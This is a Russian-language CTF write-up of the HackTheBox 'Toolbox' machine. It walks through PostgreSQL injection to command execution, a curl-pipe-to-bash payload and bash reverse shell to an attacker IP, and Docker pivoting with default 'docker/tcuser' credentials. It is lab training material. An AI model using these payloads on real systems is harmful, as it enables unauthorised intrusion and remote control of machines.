> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md). # Разбор Toolbox на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * Инъекция в PostgreSQL (RCE) * Пивотинг * Эксплуатация boot2docker (Docker-Toolbox) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts ```

**Анализ открытых портов с помощью extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена.

**Сканирование версий портов с Nmap:** Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

### **Порт 21 (FTP)** FTP-порт доступен для пользователя `anonymous`. Есть файл с именем `docker-toolbox.exe`. Этот файл может подсказать возможный способ работы Docker. {% hint style="info" %} Docker-Toolbox — это набор инструментов, используемых для управления контейнерами Docker в старых средах или средах без Docker Desktop. {% endhint %}

### **Порт 443 (HTTPS)**

**Возможные пользователи:** * Christine Rooster * Brandon Sharp * Connor Hodson

После исследования размещённый сайт предлагает админ-панель, доступную через `admin.megalogistic.com`.

## Уязвимость PostgreSQL Injection: {% hint style="info" %} PostgreSQL — мощная СУБД с открытым исходным кодом, способная безопасно обрабатывать самые сложные нагрузки данных. {% endhint %} При отправке этих учетных данных: ```sql имя пользователя: ' пароль: ' ``` Появляется ошибка SQL, указывающая на бэкенд PostgreSQL, использующий `pg_query`.

### **Эксплуатация** Проверим классический payload для инъекции: ```vbnet имя пользователя: ' OR 1=1-- - пароль: что угодно ``` Мы получаем доступ к админ-панели Dashboard.

Перехватывайте запросы с помощью **Burp Suite** и используйте ресурсы вроде **HackTricks** для настройки инъекций.

{% embed url="" %} #### Чтобы проверить, позволяет ли инъекция выполнять команды, используйте: `;select pg_sleep(10);-- -` Если ответ задерживается на 10 секунд, инъекция работает.

### **Выполнение команд** Вот пример того, как получить онлайн-заказ: ```sql DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; ``` Создайте `index.html` файл, содержащий: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` Запустите HTTP-сервер: ```bash python3 -m http.server 80 ``` Настройте прослушиватель: ```bash nc -nvlp 443 ``` Отправьте payload: ```sql username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d ```

#### **Стабилизация терминала** Чтобы сделать оболочку интерактивной и удобной: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Стабилизируйте оболочку для более удобной работы. ## Повышение привилегий: ### Пивотинг через Docker {% hint style="info" %} На этапе разведки мы установили, что наша машина Windows не была доступна напрямую. Однако нам удалось подключиться к машине Windows, находящейся в контейнере Docker, с IP-адресом `172.17.0.2` и `172.17.0.1` шлюза. Теперь мы попробуем выполнить переход через этот контейнер, чтобы повысить свои привилегии. {% endhint %}

### **Проверка порта SSH** Сначала нам нужно проверить, открыт ли порт SSH (22) на шлюзе Docker (172.17.0.1). Для этого мы используем простую команду: ```bash echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed" ``` Порт 22 открыт, что означает, что мы можем попробовать подключиться по SSH к машине в контейнере.

#### **Войти с учетными данными Docker Toolbox по умолчанию** Идентификаторы по умолчанию для Docker Toolbox: * **Пользователь**: `docker` * **Пароль**: `tcuser` Теперь мы пытаемся подключиться к контейнеру по SSH, используя эту информацию. После подключения к машине мы замечаем, что у нас есть доступ к корню контейнера с пользователем `docker`.

#### **Исследование файловой системы** В корневом каталоге мы находим папку под названием **c**, которая содержит подпапку **users**. Внутри **users** есть **Desktop** папка, принадлежащая пользователю **Administrator**. Это может означать, что пользователь `docker` имеет достаточные привилегии для доступа к конфиденциальным данным пользователя **Administrator**, что является хорошим следом для повышения привилегий.

### Флаг user.txt :) #### **Поиск `user.txt` (флаг пользователя)** Теперь мы будем искать `user.txt` файл, который часто используется для обозначения успешного доступа пользователя к машине. Давайте используем следующую команду, чтобы найти этот файл во всей файловой системе: ```bash find / -name user.txt 2>/dev/null ```

Мы находим **user.txt** файл в доступном каталоге, что дает нам первый признак успеха в нашей операции. ### Флаг root.txt :) После нахождения флага пользователя мы ищем **root.txt** файл, который обычно находится в каталоге пользователя **Administrator**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.